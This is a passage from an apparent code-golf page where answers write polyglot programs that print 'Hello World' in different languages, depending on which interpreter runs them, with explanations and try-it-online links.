C)](https://tio.run/##PY2xDoIwFEX3fkV5LO0gcXER0ZXRGBPnhj7gmdISWojR@O0ViLrc5dycU22aqooxJVuZUePBB00ua48s1ViTRd6SDeIh5@WdIivkS43BcSqyXd6PwQs6QamMcfyGJiSwhxJpvioynUpA5u@/6sLh7J56UBP3E90xYAI5S6nmW7Zkin6YlzUuuMKgZb6AKw74lSWwEgFoNdUgF/wLD2j06lrZKhNexvgB) [Try it online! (as C++)](https://tio.run/##PY2xDoIwFEX3fkV5LO0gcXER0ZXRGBPnhj7gmdISWojR@O0ViLrc5dycU/X9pqmqGFOylRk1HnzQ5LL2yFKNNVnkLdkgHnJe3imyQr7UGBynItvl/Ri8oBOUyhjHb2hCAnsokearItOpBGT@/qsuHM7uqQc1cT/RHQMmkLOUar5lS6boh3lZ44IrDFrmC7jigF9ZAisRgFZTDXLBv/CARq@ula0y4WWMHw) **Python 3 sees the code as:** ``` hint=print goto=len s="Tere maailm!" goto("endif") # Calculate string length and discard the result. s="Hallo Wereld!" hint(s) ``` [Try it online!](https://tio.run/##PY29CsIwFEb3PEVyuyRLEcTFWl07igjOwdzaK2lSmrT4g89ea1CXbzkf53T32Hi3nKaM3NkOBjchGvJ5s2WZwZoc8oZclDc1L281OameeoieU5mvim6IQdIOKm2t5ye0UcAaKqT5qsm2WoAqXn/VgcPeP0yvRx5GumJEAQXLqOYL9smUXT8vu/joS4uOhRKO2ONXJiARCegM1aA@@Bfu0ZrkSizJZFDT9AY) **[OFP](https://en.wikipedia.org/wiki/Operation_Flashpoint:_Cold_War_Crisis) scripting language sees:** ``` ; (A semicolon at the beginning of a line comments the line in a script.) ; Four labels with strange names. #include<stdio.h> #define hint(x)int main(){auto i=.5;puts(i?"Hallo Welt!":"Hei maailma!");} #define R "Pozdrav svijete!"; #if 0 ; Assign a null value to "hint", no practical effect. Same for "goto". hint=print goto=len ; Assign the string to variable "s". ; I would like to have used the Czech phrase for OFP (because it's a Czech game), ; but it didn't recognize the 'ě' and printed a '?' instead. s="Tere maailm!" ; Jump to label "endif". goto("endif") ; This reassignment of "s" gets skipped. s="Hallo Wereld!"; ; Declare a label called "endif". #endif ; Print the string "s". hint(s) ``` **Fission sees:** ``` R "Pozdrav svijete!"; ``` [Try it online!](https://tio.run/##PY2xDsIgFEV3voK@LrA0Li7W6trRGBNnIq/6DIUGaGM0fju2RF3ucm7O6SgEcjalkuzFjBq3IWpy1W3HSo0dWeQ3slE85Ly8V2SFfKkxOk5Nta6HMQZBe2iVMY6f0cQCNtAizVdFplcFyPr9Vx05HNxTezXxMNEdIxZQs5I6vmJLphn8vOzqomsMWhYaOKHHr6yATASg1dSBXPAv7NHo7Mosy0SQKX0A) [Answer] ## 3 languages, ~~184~~ 181 bytes Only works once - you have to clear the list to run it again. ``` when gf clicked add<[]=[]>to[c v if<(join(item(1 v)of[c v])[d])=[1d say[Helo Byd! else repeat(300000 add[]to[c v end if<(length of[c v])>[250000 say[Hello world! else say[Hai dunia! ``` Scratch 1.4: `Helo Byd!` Scratch 2.0: `Hello world!` Scratch 3.0 beta as of the time of this answer: `Hai dunia!` ## Explanation In Scratch 1.4, adding a boolean to a list adds `1` or `0`, but in 2.0 and up it adds `true` or `false`, but when checking if the item is equal to `1` with <[]=[]>, it will return true if the item is either `1` or `true`, so we add another letter to it and check that. In Scratch 3.0, lists have a maximum size of 200,000 items, so we just add a bunch of items and see if the list is that long. [Answer] # 17 languages, 1043 bytes ``` 'abddef'*((1<2)//2);''';;;;`Hai dunia!`,#d((A{[ ;"!odnom oaiC"S< v< v\ *'');typeof Buffer<'g'?console.log(`Sveika pasaule!`):print(`Tere maailm!`)+`//#@,,,,,,,,,,,< v v'<|-8y2< @@@@@@@ $ 'main' // @,,,,,,,,,,,,,"Kaixo Mundua!"<v ^"Molo Lizwe!"< """"""" \-[Labas pasauli!]o-#`//%"Hei maailma!"x; |<+1$Y < Hlowrl! // # @,,,,,,,,,,,,,,"Bonjour monde!"< @,,,,,,,,,,,"Hei Verden!"^'< al eed" //# >o<'Salom Dunyo!'~~^?@001~~~~~~~~~\"""""" //#''';print(1/2 and 'Moien Welt!' or 'Salamu Dunia!')#){{i }ddd}iic{iii}dc{i}dddciiic{{d}ii}ic{iii}iiiic{iiiii}iiiiic{dd}dc{{d}iii}iiic}ddddddddddddddddddddddddddddddddd\M(\o)\i\e\n\ \W\e\l\t\!]+[+[<<<+>>>>]+<-<-<<<+<++]<<.<++.<++..+++.<<++<---.>>.>.+++.------.>-.>>--. ``` Four Befung(i/es/en), two Pythons, two Javascripts, two ><>es and a bunch of other random esolangs. This is a horribly ungolfed mess, but I'm proud of it. [Gol><> prints `Ciao mondo!`](https://tio.run/##lVJRb9owEH7nVzihk5OGJIWnaVgp6/ZQqeWJadOEQRhs6G2OjQKBMgp/nV1CujJNWukXRXf@7s7nz76Z1VNYPBwOVIylVFN66XlN1vLjuOW3KaVtxOhWAJG5AeGMGnXpeR@3fXIW2q5jpbEpsQI@uT1W0avSWfHaJaV@e7mZKzslN/l0qjJGZ/R6Ys3CahVpO/NGvZWCn4LMxULkWjkj/8M8A7P0Rl9UpkgqBOgU2WAUx/VO4wXHZqvnlpQ9he83LUY6R9QuCE0FGPq6ijiunNPtGw33TsCjJd3cyFw4Llu9VAzdrtWW3MOvtcLIH949okZ42L8XY7GoZIEzsGEdFbxzbxVUonDPx/Z59/zEgubF91OG/ZNzq@06004N1dTJW/C36oZ7Y80Pm2cktUaW6k4TyvN/VZlUxnGHtDqG0EQp6WLvt7V@FYlltCc0Ttjn3GysQ/f74XXn6qq5fwavrhxbF@N8nJ1m3CLCSIK163xsjSDdB43v4VBis4LVIs2LLXHkqV/3t1s47zw7KeUOYLIFgJ1EUxATKJhtEdhVIYAqqfJxgYWyyiq5SVH6f/Cux63PgStuOOHf0Gq@5M4g6Ad9xliQIAYBC/HDFQuCAWMRmvKPgsJBj4VhGCVJlJRMWCJKCgrt4fAb) [><> prints `Salom Dunyo!`](https://tio.run/##lVJRb9owEH7nVzihk5OGJIWnaVgp6/aA1PLEtGnCIAw27W2OjQKBMgp/nV1CujJNWukXRXf@7s7nz74ZLB4OByomUqoZvfS8Jmv5cdzy25TSNmLcFUBkbkA440Zdet7H7YCchbbrWGlsSqyAT26fVfSqdFa8dkmp315u5srOyE0@m6mM0Xt6PbVmYbWKtL33xv2Vgp@CzMVC5Fo5Y//DPAOz9MZfVKZIKgToFNlgHMf1TuMFx2ar55aUPYXvNy1GOkfULghNBRj6uoo4rpzT7RsN91bAoyW93MhcOC5bvVSM3J7VltzBr7XCyB/ePaJGeDi4ExOxqGSBM7RhHRW8c7sKKlG452P7vHt@YkHz4vspw/7J6Wq7zrRTQzV18hb8rbrh3ljzw@YZSa2RpbrThPL8X1UmlXHcEa2OITRRSrrY@22tX0ViGe0LjRP2OTcb69D9fnTdubpq7p/BqyvH1sU4H2enGbeIMJJg7TqfWCNI70HjeziU2KxgtUjzYksceerX/e0WzjvPTkq5A5huAWAn0RTEFApmWwR2VQigSqp8XGChrLJKblqU/h@853Hrc@CKG074N7SaL7kzDAbBgDEWJIhhwEL8cMWCYMhYhKb8o6Bw0GNhGEZJEiUlE5aIkoJCezj8Bg) [Python 2 prints `Salamu Dunia!`](https://tio.run/##lVJRb9owEH7nVzhJJycNSQpP02KlrNsDUssT06YJg2Kwab05NgoklFH46@wS0pVp0kq/KLrzd3c@f/YtNqsHo7uHA2ZTzsUcX7puh3S9KOp6McY4BqR9JhEvtGRW2na4637cjtBZiG3LcG0yZJj8ZA9JQ5e1U9LWJcZevNoshJmjm2I@FznB9/h6ZvTSKBEqc@@mw1LInwwt2JIVSlip92GRS71y0y8iFyhjTKoMWD@NIqfXfsGxWfncEpOn4P2mS1DviNYFwhmTGr@uIooa53T7dtu@ZfLRoEGhecEsm5QvFRN7YJRBd/LXWkDkD28f0UI0GN2xKVs2sqQ1NoEDCt7ZfSEbUbDnY3zePT8Rv3Px/ZQh/@T0lVnnymqBGge9BX@rbts3Rv8wRY4yo3mt7jShPv9XkXOhLXuCm2MwhYTgNvR@W@tXkRiCh0zBhH0u9MZYeL@fXPeurjr7Z9DmyqF1Nc7H2elEXcQ0R1C7LqZGMzR4UPAeFkYmr1jFsqLaEkYee4633crzzrPjnO@knG2llDsOpiJmsmK2VWDXhKRskhofFlDIm6yam1Wl/wcduNR4VFJBNUX0G1hFV9Qa@yN/RAjxE8DYJwF8sCK@PyYkBFP/oV854JEgCMIkCZOaCWqESUWBPRx@Aw) [Python 3 prints `Sawubona Mhlaba!`](https://tio.run/##lVLfb9owEH7nr3CSTk6aX4W9TMNKWbcHpJUnpk0TBsVg03pzbBQIlKXwr7NLSFemSSv9oujO3935/Nm32K7ujX57OGA25VzM8aXrtknHi@OO18UYdwFpn0nECy2ZlQYOd90P5Qidha5tGa5NhgyTH@0haeh17axp6xJjr7vaLoSZo5tiPhc5wXf4emb00igRKXPnpsO1kD8ZWrAlK5SwUu/9Ipd65aZfRC5QxphUGbB@GsdOL3jGsdn6qSUmj@G7bYeg3hGtC4QzJjV@WUUcN87p9kFgf2bywaBBoXnBLJusnysm9sAog27lr42AyB/ePqKFaDi6ZVO2bGRJa2xCBxS8sftCNqJgz4fueff8SPz2xfdThvyT01dmkyurBWoc9Br8rTqwb4z@YYocZUbzWt1pQn3@ryLnQlv2BDfHYAoJwW3o/brWLyIxBA@Zggn7VOitsfB@P7nuXV2190@gzZVD62qcj7PTjjuIaY6gdlNMjWZocK/gPSyMTF6ximVFtSWMPPYcryzleefZcc53Us5KKeWOg6mImayYsgrsmpCUTVLjwwIKeZNVc7Oq9P@gA5caj0oqqKaIfgOr6IpaY3/kjwghfgIY@ySED1bE98eERGDqP/IrBzwShmGUJFFSM2GNKKkosIfDbw) [Javascript (V8) prints `Tere maailm!`](https://tio.run/##lVJRb9owEH7nVzihk5OGJIWnarFS1u0BaeWJadOEQTGx6dw5NgoklFH46@wS0pVp0kq/KLrzd3c@f/Y9sJIt01wuVn55fThgNuNczPGl43RJzw3DnhthjCNAMmAS8UJLZiWdNnecD9sxOguRbRmuTYYMkx/tEWnosnZK2rrE2I1Wm4Uwc3RbzOciJ/ge36RGL40SgTL3TjIqhfzJ0IItWaGElbjvF7nUKyf5InKBMsakyoD1kjBs9zsvODYrn1ti8uRfb3oE9Y9oXSCcManx6yrCsHFOt@907M9MPho0LDQvmGWT8qViag@NMuhO/loLiPzh7SNaiPrjOzZjy0aWtCbGb4OCd/ZAyEYU7PkYnXfPT8TrXnw/Zcg/OQNl1rmyWqCmjd6Cv1V37FujH0yRo8xoXqs7TajP/1XkXGjLnuLmGEwhIbgNvd/W@lXEhuARUzBhnwq9MRbe76c3/aur7v4ZtLlyaF2N83F2umEPMc0R1K6LmdEMDX8oeA8LI5NXrGJZUW0JI4/dtrvdyvPOs@Oc76RMt1LKHQdTEamsmG0V2DUhKZukxocFFPImq@bSqvT/oEOHGpdKKqimiH4Dq@iKWhNv7I0JIV4MmHjEhw9WxPMmhARg6j/wKgc84vt@EMdBXDN@jSCuKLCHw28) [Vyxal prints `Hai dunia!`](https://lyxal.pythonanywhere.com?flags=&code=%27abddef%27*%28%281%3C2%29%2F%2F2%29%3B%27%27%27%3B%3B%3B%3B%60Hai%20dunia!%60%2C%23d%28%28A%7B%5B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3B%22!odnom%20oaiC%22S%3C%20%20%20%20%20%20%20v%3C%20%20%20%20v%5C%0A*%27%27%29%3Btypeof%20Buffer%3C%27g%27%3Fconsole.log%28%60Sveika%20pasaule!%60%29%3Aprint%28%60Tere%20maailm!%60%29%2B%60%2F%2F%23%40%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%3C%20%20%20%20%20v%20%20%20%20%20%20%20v%27%3C%7C-8y2%3C%20%40%40%40%40%40%40%40%0A%24%20%27main%27%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2F%2F%20%20%20%20%20%20%20%40%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%22Kaixo%20Mundua!%22%3Cv%20%20%20%20%20%20%20%20%20%20%5E%22Molo%20Lizwe!%22%3C%20%20%20%20%20%20%20%20%20%22%22%22%22%22%22%22%0A%20%5C-%5BLabas%20pasauli!%5Do-%23%60%2F%2F%25%22Hei%20maailma!%22x%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7C%3C%2B1%24Y%20%20%20%20%20%20%20%20%20%20%20%20%3C%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Hlowrl!%0A%2F%2F%20%23%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%40%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%22Bonjour%20monde!%22%3C%20%40%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%22Hei%20Verden!%22%5E%27%3C%20%20%20%20%20%20al%20eed%22%0A%2F%2F%23%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Eo%3C%27Salom%20Dunyo!%27%7E%7E%5E%3F%40001%7E%7E%7E%7E%7E%7E%7E%7E%7E%5C%22%22%22%22%22%22%0A%2F%2F%23%27%27%27%3Bprint%281%2F2%20and%20%27Sawubona%20Mhlaba!%27%20or%20%27Salamu%20Dunia!%27%29%23%29%7B%7Bi%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7Dddd%7Diic%7Biii%7Ddc%7Bi%7Ddddciiic%7B%7Bd%7Dii%7Dic%7Biii%7Diiiic%7Biiiii%7Diiiiic%7Bdd%7Ddc%7B%7Bd%7Diii%7Diiic%7Dddddddddddddddddddddddddddddddddd%5CM%28%5Co%29%5Ci%5Ce%5Cn%5C%20%5CW%5Ce%5Cl%5Ct%5C!%5D%2B%5B%2B%5B%3C%3C%3C%2B%3E%3E%3E%3E%5D%2B%3C-%3C-%3C%3C%3C%2B%3C%2B%2B%5D%3C%3C.%3C%2B%2B.%3C%2B%2B..%2B%2B%2B.%3C%3C%2B%2B%3C---.%3E%3E.%3E.%2B%2B%2B.------.%3E-.%3E%3E--.&inputs=&header=&footer=) [Deadfish~ prints `Helo Byd!`](https://tio.run/##lVJRb9owEH7nVzihk5OGJIWnaVgp6/aA1PLEtGnCIAw27W2OjQKBMgp/nV1CujJNWukXRXf@7s7nzz6phJzB4iE8HKiYSKlm9NLzmqzlx3HLb1NK24hxVwCRuQHhjBt16XkftwNyFtquY6WxKbECPrl9VtGr0lnx2iWlfnu5mSs7Izf5bKYyRu/p9dSahdUq0vbeG/dXCn4KMhcLkWvljP0P8wzM0ht/UZkiqRCgU2SDcRzXO40XHJutnltS9hS@37QY6RxRuyA0FWDo6yriuHJOt2803FsBj5b0ciNz4bhs9VIxcntWW3IHv9YKI39494ga4eHgTkzEopIFztCGdVTwzu0qqEThno/t8@75iQXNi@@nDPsnp6vtOtNODdXUyVvwt@qGe2PND5tnJLVGlupOE8rzf1WZVMZxR7Q6htBEKeli77e1fhWJZbQvNE7Y59xsrEP3@9F15@qquX8Gr64cWxfjfJydZtwiwkiCtet8Yo0gvQeN7@FQYrOC1SLNiy1x5Klf97dbOO88OynlDmC6BYCdRFMQUyiYbRHYVSGAKqnycYGFssoquWlR@n/wnsetz4Erbjjh39BqvuTOMBgEA8ZYkCCGAQvxwxULgiFjEZryj4LCQY@FYRglSZSUTFgiSgoK7eHwGw) [Befunge-93 prints `Molo Lizwe!`](https://tio.run/##lVJRb9owEH7nVzihk5OGJIW9bMNKWbcHpJUnqk4TBsXBDvPm2CgQKKPw19klpCvTpJV@UXTn7@58/uxLRFromfDfv/XTJJGHA2YJ5yLFl47TJh03DDtuF2PcBcR9JhEvtGRW3Gpyx/m4HaGz0LUtw7XJkGHykz0kNb2qnBVtXGLsdpebuTApuinSVOQEz/D11OiFUSJQZubEw5WQPxmaswUrlLBi98M8l3rpxHciFyhjTKoMWC8Ow2av9Yxjs9VTS0we/XebDkG9IxoXCGdMavyyijCsndPtWy37C5MPBg0KzQtm2WT1XDGxB0YZdCt/rQVE/vD2EQ1E/dEtS9iiliWtsfGboOCN3ReyFgV7PnTPu@dH4rUvvp0y5J@cvjLrXFkNUNNEr8Hfqlv2jdE/TJGjzGheqTtNqM5/L3IutGVPcH0MppAQ3Iber2v9IiJD8JApmLDPhd4YC@/3k@ve1VV7/wRaXzm0Lsf5ODvtsIOY5ghq10ViNEOD7wrew8LI5CWrWFaUW8LIY7fpbrfyvPPsOOc7KadbKeWOgymJqSyZbRnY1SEp66TahwUU8jqr4qZl6f9BBw41LpVUUE0R/QpW0SW1xt7IGxFCvAgw9ogPH6yI540JCcBUf@CVDnjE9/0gioKoYvwKQVRSYA@H3w) [Befunge-96 prints `Kaixo Mundua!`](https://tio.run/##lVJRb9owEH7nVzihk5OGJIWHaRtWyro9IK08UXWaMCgGO8ybY6NAoCyFv84uIV2ZJq30i6I7f3fn82ffVCS5ngv//Vs/XSXycMBsyrlI8KXjtEnHDcOO28UYdwFxn0nEcy2ZFbea3HE@FiN0Frq2Zbg2KTJMfrKHpKbXlbOmjUuM3e5quxAmQTd5koiM4Dm@nhm9NEoEysydeLgW8idDC7ZkuRJW7H5YZFKvnPhOZAKljEmVAuvFYdjstZ5xbLZ@aonJo/9u2yGod0TjAuGUSY1fVhGGtXO6fatlf2HywaBBrnnOLJusnysm9sAog27lr42AyB/ePqKBqD@6ZVO2rGVJa2z8Jih4Y/eFrEXBng/d8@75kXjti2@nDPknp6/MJlNWA9Q00Wvwt@qWfWP0D5NnKDWaV@pOE6rz34uMC23ZE1wfgykkBLeh9@tav4jIEDxkCibsc663xsL7/eS6d3XV3j@B1lcOrctxPs5OO@wgpjmC2k0@NZqhwXcF72FhZLKSVSzNyy1h5LHbdItCnneeHed8J@WskFLuOJiSmMmSKcrArg5JWSfVPiygkNdZFTcrS/8POnCocamkgmqK6Fewiq6oNfZG3ogQ4kWAsUd8@GBFPG9MSACm@gOvdMAjvu8HURREFeNXCKKSAns4/AY) [Befunge-97 prints `Bonjour monde!`](https://tio.run/##lVLfb9owEH7nr3BCJycNSQov@4GVsm4PSCtPVJ0mDIrBDvPm2CgQKEvhX2eXkK5Mk1b6RdGdv7vz@bNvKpJcz4X//q2frhJ5OGA25Vwk@NJx2qTjhmHH7WKMu4C4zyTiuZbMiltN7jgfixE6C13bMlybFBkmP9lDUtPrylnTxiXGbne1XQiToJs8SURG8Bxfz4xeGiUCZeZOPFwL@ZOhBVuyXAkrdj8sMqlXTnwnMoFSxqRKgfXiMGz2Ws84Nls/tcTk0X@37RDUO6JxgXDKpMYvqwjD2jndvtWyvzD5YNAg1zxnlk3WzxUTe2CUQbfy10ZA5A9vH9FA1B/dsilb1rKkNTZ@ExS8sftC1qJgz4fueff8SLz2xbdThvyT01dmkymrAWqa6DX4W3XLvjH6h8kzlBrNK3WnCdX570XGhbbsCa6PwRQSgtvQ@3WtX0RkCB4yBRP2OddbY@H9fnLdu7pq759A6yuH1uU4H2enHXYQ0xxB7SafGs3Q4LuC97AwMlnJKpbm5ZYw8thtukUhzzvPjnO@k3JWSCl3HExJzGTJFGVgV4ekrJNqHxZQyOusipuVpf8HHTjUuFRSQTVF9CtYRVfUGnsjb0QI8SLA2CM@fLAinjcmJABT/YFXOuAR3/eDKAqiivErBFFJgT0cfgM) [Befunge-98 prints `Hei Verden!`](https://tio.run/##lVLfb9owEH7nr3CSTk6aX4Wnblgp6/aAtPLE1GrCoBhsmDfHRoFAGYV/nV1CujJNWukXRXf@7s7nz76xmBZ6JsL314cDZmPOxRRfum6TtLw4bnltjHEbkHaZRLzQkllp4HDX/bgdoLPQti3DtcmQYfKT3Sc1vaqcFW1cYuy1l5u5MFN0W0ynIid4hm8mRi@MEpEyMzftr4T8ydCcLVihhJV6H@a51Es3/SpygTLGpMqA9dM4djrBC47NVs8tMXkKrzctgjpHNC4QzpjU@HUVcVw7p9sHgf2FyUeDeoXmBbNssnqpGNk9owy6k7/WAiJ/ePuIBqLh4I6N2aKWJa2hCR1Q8M7uClmLgj0f2@fd8xPxmxffThnyT05XmXWurAaocdBb8LfqwL41@ocpcpQZzSt1pwnV@e9FzoW27BGuj8EUEoLb0PttrV9FYgjuMwUT9rnQG2Ph/X5007m6au6fQesrh9blOB9npxm3ENMcQe26GBvNUO@7gvewMDJ5ySqWFeWWMPLYc7ztVp53nh3nfCflZCul3HEwJTGRJbMtA7s6JGWdVPuwgEJeZ1XcpCz9P2jPpcajkgqqKaIPYBVdUmvoD/wBIcRPAEOfhPDBivj@kJAITPVHfumAR8IwjJIkSiomrBAlJQX2cPgN) [Splinter prints `Moien Welt!`](https://deadfish.surge.sh/splinter#J2FiZGRlZicqKCgxPDIpLy8yKTsnJyc7Ozs7YEhhaSBkdW5pYSFgLCNkKChBe1sgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDsiIW9kbm9tIG9haUMiUzwgICAgICAgdjwgICAgdlwKKicnKTt0eXBlb2YgQnVmZmVyPCdnJz9jb25zb2xlLmxvZyhgU3ZlaWthIHBhc2F1bGUhYCk6cHJpbnQoYFRlcmUgbWFhaWxtIWApK2AvLyNALCwsLCwsLCwsLCw8ICAgICB2ICAgICAgIHYnPHwtOHkyPCBAQEBAQEBACiQgJ21haW4nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vICAgICAgIEAsLCwsLCwsLCwsLCwsIkthaXhvIE11bmR1YSEiPHYgICAgICAgICAgXiJNb2xvIExpendlISI8ICAgICAgICAgIiIiIiIiIgogXC1bTGFiYXMgcGFzYXVsaSFdby0jYC8vJSJIZWkgbWFhaWxtYSEieDsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHw8KzEkWSAgICAgICAgICAgIDwgICAgICAgICAgICAgICAgIEhsb3dybCEKLy8gIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEAsLCwsLCwsLCwsLCwsLCJCb25qb3VyIG1vbmRlISI8IEAsLCwsLCwsLCwsLCJIZWkgVmVyZGVuISJeJzwgICAgICBhbCBlZWQiCi8vIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID5vPCdTYWxvbSBEdW55byEnfn5eP0AwMDF+fn5+fn5+fn5cIiIiIiIiCi8vIycnJztwcmludCgxLzIgYW5kICdTYXd1Ym9uYSBNaGxhYmEhJyBvciAnU2FsYW11IER1bmlhIScpIyl7e2kgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1kZGR9aWlje2lpaX1kY3tpfWRkZGNpaWlje3tkfWlpfWlje2lpaX1paWlpY3tpaWlpaX1paWlpaWN7ZGR9ZGN7e2R9aWlpfWlpaWN9ZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkXE0oXG8pXGlcZVxuXCBcV1xlXGxcdFwhXStbK1s8PDwrPj4+Pl0rPC08LTw8PCs8KytdPDwuPCsrLjwrKy4uKysrLjw8Kys8LS0tLj4+Lj4uKysrLi0tLS0tLS4+LS4+Pi0tLg==) [Rail prints `Labas pasauli!`](https://tio.run/##lVJRb9owEH7nVzihk5OGJIWnaVgp6/ZQaeWJadOEQTHYdLc5NgoEyij8dXYJ6co0aaVfFN35853vPvtyAfpwoGIipZrRS89rs44fxx2/SyntItJbAUQWBoSTtprS895vh@QsdF3HSmMzYgV8cAespleVs@KNS0r97nIzV3ZGborZTOWM3tPrqTULq1Wk7b2XDlYKfgoyFwtRaOWk/rt5DmbppZ9VrkgmsPsM2SCN42av9YxjsdVTScoew7ebDiO9IxoXhGYCDH1ZRRzXzunxrZb7ScCDJf3CyEI4Lls9Z4zdvtWW3MGvtcKdP7x7RIPwcHgnJmJRywJnZMMmKnjj3iqoReGZD93z7vmRBe2Lb6cM@yfmVtt1rp0GqmmS1@Bv1S33xpoftshJZo2s1J0GVP1/UblUxnHHtG5DaKKUdLH260q/iMQyOhAaJ@xjYTbWofv9@Lp3ddXeP4HXV46ly3E@zk477hBhJMHcdTGxRpD@d43v4VBi85LVIivKI3Hkqd/0t1s4r5@dlHIHMN0CwE6iKYkplMy23NjVWwB1UO3jAhNlHVVx0zL1/@B9j1ufA1fccMK/otV8yZ1RMAyGjLEgQYwCFuKHKxYEI8YiNNUfBaWDHgvDMEqSKKmYsEKUlBTaw@E3) [Javascript (Node.js) prints `Sveika pasaule!`](https://tio.run/##lVJRb9owEH7nVzihk5OGJIWnabFS1u0BqeWJadOEQTGx6a5zbBRIKKPw15kT0pVp0kq/KLrzd3c@f/Y9sJIt0xwWK19pLg4HzGacizm@dJwu6blh2HMjjHFkkAwYIF4oYFbSaXPH@bgdo7MQ2ZbmSmdIM/hkj0hDl7VT0tYlxm602iyEnqObYj4XOcH3@DrVaqmlCKS@d5JRKeAnQwu2ZIUUVuJ@WOSgVk7yReQCZYyBzAzrJWHY7ndecGxWPrfE5Ml/v@kR1D@idYFwxkDh11WEYeOcbt/p2LcMHjUaFooXzLJJ@VIxtYdaanQHv9bCRP7w9hEtRP3xHZuxZSMLrIn220bBO3sgoBFl9nyMzrvnJ@J1L76fMuSfnIHU61xaLaOmjd6Cv1V37ButHnSRo0wrXqs7TajP/1XkXCjLnuLmGEwiIbhter@t9auINcEjJs2EfS7URlt4v59e96@uuvtn0ObKTetqnI@z0w17iCmOTO26mGnF0PCHNO9hYaTzipUsK6otzchjt@1ut3DeeXac8x1AugWAHTemIlKomG0V2DUhgCap8c3CFPImq@bSqvT/oEOHapcCFVRRRL8ZK@mKWhNv7I0JIV5sMPGIbz6zIp43ISQwpv4Dr3KMR3zfD@I4iGvGrxHEFWXs4fAb) [Brainfuck prints `Hello World!`](https://tio.run/##lVJRb9owEH7nVzihk5OGJIWnabFS1u0BqeWJadOEQTHYdF4dGwUSylL46@wS0pVp0kq/KLrzd3c@f/bNMib1Ip8/HA6YzTgXC3zpOF3Sc8Ow50YY4wiQDJhEPNeSWUmnzR3nYzlGZyGyLcO1SZFh8pM9Ig1d1E5BW5cYu9F6uxRmgW7yxUJkBN/j67nRK6NEoMy9k4wKIR8YWrIVy5WwEvfDMpN67SRfRCZQyphUKbBeEobtfucFx2bFc0tMnvz32x5B/SNaFwinoB6/riIMG@d0@07HvmXy0aBhrnnOLJsULxVTe2iUQXfy10ZA5A9vH9FC1B/fsRlbNbKkNTF@GxS8swdCNqJgz8fovHt@Il734vspQ/7JGSizyZTVAjVt9Bb8rbpj3xj90@QZSo3mtbrThPr8X0XGhbbsKW6OwRQSgtvQ@22tX0VsCB4xBRP2OddbY@H9fnrdv7rq7p9BmyuH1tU4H2enG/YQ0xxB7SafGc3Q8IeC97AwMlnFKpbm1ZYw8thtu2UpzzvPjnO@k3JeSil3HExFzGXFlFVg14SkbJIaHxZQyJusmptXpf8HHTrUuFRSQTVF9BtYRdfUmnhjb0wI8WLAxCM@fLAinjchJABT/4FXOeAR3/eDOA7imvFrBHFFgT0cfgM) [Cascade prints `Hallo wereld!`](https://tio.run/##lVJRb9owEH7nVzhJJycNSQpP02KlrNsD0soTU6sJg2Ji03lzbBQIlFH46@wS0pVp0kq/KLrzd3c@f/ZlbJExLg4HzKacixm@dN0O6XpR1PVijHEMSPtMIl5qyay07XDX/bgdobMQ25bh2uTIMPnJHpKGXtXOirYuMfbi5WYuzAzdlLOZKAh@wNeZ0QujRKjMg5sOV0L@ZGjOFqxUwkq9D/NC6qWbfhWFQDljUuXA@mkUOb32C47NVs8tMXkK3m@6BPWOaF0gnDOp8esqoqhxTrdvt@0vTD4aNCg1L5llk9VLxcQeGGXQrfy1FhD5w9tHtBANRrdsyhaNLGmNTeCAgnd2X8hGFOz5GJ93z0/E71x8O2XIPzl9ZdaFslqgxkFvwd@q2/aN0T9MWaDcaF6rO02oz38nCi60ZU9wcwymkBDcht5va/0qEkPwkCmYsM@l3hgL7/eT697VVWf/DNpcObSuxvk4O52oi5jmCGrX5dRohgbfFbyHhZEpKlaxvKy2hJHHnuNtt/K88@w45zsps62UcsfBVEQmK2ZbBXZNSMomqfFhAYW8yaq5rCr9P@jApcajkgqqKaL3YBVdUmvsj/wRIcRPAGOfBPDBivj@mJAQTP2HfuWAR4IgCJMkTGomqBEmFQX2cPgN) [Cardinal prints `Hei 